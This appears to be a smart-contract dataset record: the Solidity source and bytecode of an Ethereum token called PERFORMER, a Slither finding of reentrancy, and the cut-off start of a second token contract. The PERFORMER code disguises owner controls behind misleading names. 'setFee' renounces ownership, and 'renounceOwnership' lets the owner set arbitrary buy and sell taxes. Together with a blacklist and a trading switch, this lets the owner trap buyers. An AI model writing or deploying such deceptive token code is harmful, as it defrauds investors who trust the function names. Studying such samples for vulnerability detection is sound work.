/** *Submitted for verification at Etherscan.io on 2022-04-08 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function setFee() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract PERFORMER is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "PERFORMER"; string private constant _symbol = "PERFORMER"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x5b4Ed2B20649818ebFa869d67c69A34DF6c920b7); address payable private _marketingAddress = payable(0x5b4Ed2B20649818ebFa869d67c69A34DF6c920b7); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 8400000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function renounceOwnership(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c806374010ece116100f757806398a5c31511610095578063c492f04611610064578063c492f04614610524578063dd62ed3e14610544578063ea1644d51461058a578063f2fde38b146105aa57600080fd5b806398a5c3151461049f578063a9059cbb146104bf578063bfd79284146104df578063c3c8cd801461050f57600080fd5b80638da5cb5b116100d15780638da5cb5b1461044b5780638f70ccf7146104695780638f9a55c01461048957806395d89b41146101fe57600080fd5b806374010ece146103e85780637d1db4a5146104085780637f2feddc1461041e57600080fd5b80632fd689e31161016f5780636b9990531161013e5780636b999053146103735780636d8aa8f8146103935780636fc3eaec146103b357806370a08231146103c857600080fd5b80632fd689e314610301578063313ce5671461031757806340eed21d1461033357806349bd5a5e1461035357600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102cc5780632ded3227146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192e565b6105ca565b005b34801561020a57600080fd5b5060408051808201825260098152682822a92327a926a2a960b91b6020820152905161023691906119f3565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a48565b610669565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b50670de0b6b3a76400005b604051908152602001610236565b3480156102d857600080fd5b5061025f6102e7366004611a74565b610680565b3480156102f857600080fd5b506101fc6106e9565b34801561030d57600080fd5b506102be60185481565b34801561032357600080fd5b5060405160098152602001610236565b34801561033f57600080fd5b506101fc61034e366004611ab5565b61075d565b34801561035f57600080fd5b5060155461028f906001600160a01b031681565b34801561037f57600080fd5b506101fc61038e366004611ae7565b61079b565b34801561039f57600080fd5b506101fc6103ae366004611b14565b6107e6565b3480156103bf57600080fd5b506101fc61082e565b3480156103d457600080fd5b506102be6103e3366004611ae7565b610879565b3480156103f457600080fd5b506101fc610403366004611b2f565b61089b565b34801561041457600080fd5b506102be60165481565b34801561042a57600080fd5b506102be610439366004611ae7565b60116020526000908152604090205481565b34801561045757600080fd5b506000546001600160a01b031661028f565b34801561047557600080fd5b506101fc610484366004611b14565b6108ca565b34801561049557600080fd5b506102be60175481565b3480156104ab57600080fd5b506101fc6104ba366004611b2f565b610912565b3480156104cb57600080fd5b5061025f6104da366004611a48565b610941565b3480156104eb57600080fd5b5061025f6104fa366004611ae7565b60106020526000908152604090205460ff1681565b34801561051b57600080fd5b506101fc61094e565b34801561053057600080fd5b506101fc61053f366004611b48565b6109a2565b34801561055057600080fd5b506102be61055f366004611bcc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059657600080fd5b506101fc6105a5366004611b2f565b610a43565b3480156105b657600080fd5b506101fc6105c5366004611ae7565b610a72565b6000546001600160a01b031633146105fd5760405162461bcd60e51b81526004016105f490611c05565b60405180910390fd5b60005b81518110156106655760016010600084848151811061062157610621611c3a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065d81611c66565b915050610600565b5050565b6000610676338484610b5c565b5060015b92915050565b600061068d848484610c80565b6106df84336106da85604051806060016040528060288152602001611d80602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bc565b610b5c565b5060019392505050565b6000546001600160a01b031633146107135760405162461bcd60e51b81526004016105f490611c05565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107875760405162461bcd60e51b81526004016105f490611c05565b600893909355600a91909155600955600b55565b6000546001600160a01b031633146107c55760405162461bcd60e51b81526004016105f490611c05565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108105760405162461bcd60e51b81526004016105f490611c05565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061086357506013546001600160a01b0316336001600160a01b0316145b61086c57600080fd5b47610876816111f6565b50565b6001600160a01b03811660009081526002602052604081205461067a90611230565b6000546001600160a01b031633146108c55760405162461bcd60e51b81526004016105f490611c05565b601655565b6000546001600160a01b031633146108f45760405162461bcd60e51b81526004016105f490611c05565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093c5760405162461bcd60e51b81526004016105f490611c05565b601855565b6000610676338484610c80565b6012546001600160a01b0316336001600160a01b0316148061098357506013546001600160a01b0316336001600160a01b0316145b61098c57600080fd5b600061099730610879565b9050610876816112b4565b6000546001600160a01b031633146109cc5760405162461bcd60e51b81526004016105f490611c05565b60005b82811015610a3d5781600560008686858181106109ee576109ee611c3a565b9050602002016020810190610a039190611ae7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3581611c66565b9150506109cf565b50505050565b6000546001600160a01b03163314610a6d5760405162461bcd60e51b81526004016105f490611c05565b601755565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b81526004016105f490611c05565b6001600160a01b038116610b015760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f4565b6001600160a01b038216610c1f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f4565b6001600160a01b038216610d465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f4565b60008111610da85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f4565b6000546001600160a01b03848116911614801590610dd457506000546001600160a01b03838116911614155b156110b557601554600160a01b900460ff16610e6d576000546001600160a01b03848116911614610e6d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f4565b601654811115610ebf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f4565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0157506001600160a01b03821660009081526010602052604090205460ff16155b610f595760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f4565b6015546001600160a01b03838116911614610fde5760175481610f7b84610879565b610f859190611c81565b10610fde5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f4565b6000610fe930610879565b6018546016549192508210159082106110025760165491505b8080156110195750601554600160a81b900460ff16155b801561103357506015546001600160a01b03868116911614155b80156110485750601554600160b01b900460ff165b801561106d57506001600160a01b03851660009081526005602052604090205460ff16155b801561109257506001600160a01b03841660009081526005602052604090205460ff16155b156110b2576110a0826112b4565b4780156110b0576110b0476111f6565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f757506001600160a01b03831660009081526005602052604090205460ff165b8061112957506015546001600160a01b0385811691161480159061112957506015546001600160a01b03848116911614155b15611136575060006111b0565b6015546001600160a01b03858116911614801561116157506014546001600160a01b03848116911614155b1561117357600854600c55600954600d555b6015546001600160a01b03848116911614801561119e57506014546001600160a01b03858116911614155b156111b057600a54600c55600b54600d555b610a3d8484848461143d565b600081848411156111e05760405162461bcd60e51b81526004016105f491906119f3565b5060006111ed8486611c99565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610665573d6000803e3d6000fd5b60006006548211156112975760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f4565b60006112a161146b565b90506112ad838261148e565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fc576112fc611c3a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135057600080fd5b505afa158015611364573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113889190611cb0565b8160018151811061139b5761139b611c3a565b6001600160a01b0392831660209182029290920101526014546113c19130911684610b5c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fa908590600090869030904290600401611ccd565b600060405180830381600087803b15801561141457600080fd5b505af1158015611428573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144a5761144a6114d0565b6114558484846114fe565b80610a3d57610a3d600e54600c55600f54600d55565b60008060006114786115f5565b9092509050611487828261148e565b9250505090565b60006112ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611635565b600c541580156114e05750600d54155b156114e757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151087611663565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154290876116c0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115719086611702565b6001600160a01b03891660009081526002602052604090205561159381611761565b61159d84836117ab565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a7640000611610828261148e565b82101561162c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116565760405162461bcd60e51b81526004016105f491906119f3565b5060006111ed8486611d3e565b60008060008060008060008060006116808a600c54600d546117cf565b925092509250600061169061146b565b905060008060006116a38e878787611824565b919e509c509a509598509396509194505050505091939550919395565b60006112ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bc565b60008061170f8385611c81565b9050838110156112ad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f4565b600061176b61146b565b905060006117798383611874565b306000908152600260205260409020549091506117969082611702565b30600090815260026020526040902055505050565b6006546117b890836116c0565b6006556007546117c89082611702565b6007555050565b60008080806117e960646117e38989611874565b9061148e565b905060006117fc60646117e38a89611874565b905060006118148261180e8b866116c0565b906116c0565b9992985090965090945050505050565b60008080806118338886611874565b905060006118418887611874565b9050600061184f8888611874565b905060006118618261180e86866116c0565b939b939a50919850919650505050505050565b6000826118835750600061067a565b600061188f8385611d60565b90508261189c8583611d3e565b146112ad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f4565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461087657600080fd5b803561192981611909565b919050565b6000602080838503121561194157600080fd5b823567ffffffffffffffff8082111561195957600080fd5b818501915085601f83011261196d57600080fd5b81358181111561197f5761197f6118f3565b8060051b604051601f19603f830116810181811085821117156119a4576119a46118f3565b6040529182528482019250838101850191888311156119c257600080fd5b938501935b828510156119e7576119d88561191e565b845293850193928501926119c7565b98975050505050505050565b600060208083528351808285015260005b81811015611a2057858101830151858201604001528201611a04565b81811115611a32576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5b57600080fd5b8235611a6681611909565b946020939093013593505050565b600080600060608486031215611a8957600080fd5b8335611a9481611909565b92506020840135611aa481611909565b929592945050506040919091013590565b60008060008060808587031215611acb57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208284031215611af957600080fd5b81356112ad81611909565b8035801515811461192957600080fd5b600060208284031215611b2657600080fd5b6112ad82611b04565b600060208284031215611b4157600080fd5b5035919050565b600080600060408486031215611b5d57600080fd5b833567ffffffffffffffff80821115611b7557600080fd5b818601915086601f830112611b8957600080fd5b813581811115611b9857600080fd5b8760208260051b8501011115611bad57600080fd5b602092830195509350611bc39186019050611b04565b90509250925092565b60008060408385031215611bdf57600080fd5b8235611bea81611909565b91506020830135611bfa81611909565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7a57611c7a611c50565b5060010190565b60008219821115611c9457611c94611c50565b500190565b600082821015611cab57611cab611c50565b500390565b600060208284031215611cc257600080fd5b81516112ad81611909565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1d5784516001600160a01b031683529383019391830191600101611cf8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7a57611d7a611c50565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122091d2a73c2bd6f35daab73df85fc84c5d0576edbdbd30af3099aa593ae7128b7664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
4,831
0x64f4b1383d80f8aa9aeca14321559e8a5514c140
/** *Submitted for verification at Etherscan.io on 2021-02-12 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'The Pandemic Is A Hoax' token contract // // Symbol : TPIAH // Name : The Pandemic Is A Hoax // Total supply: 19 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = 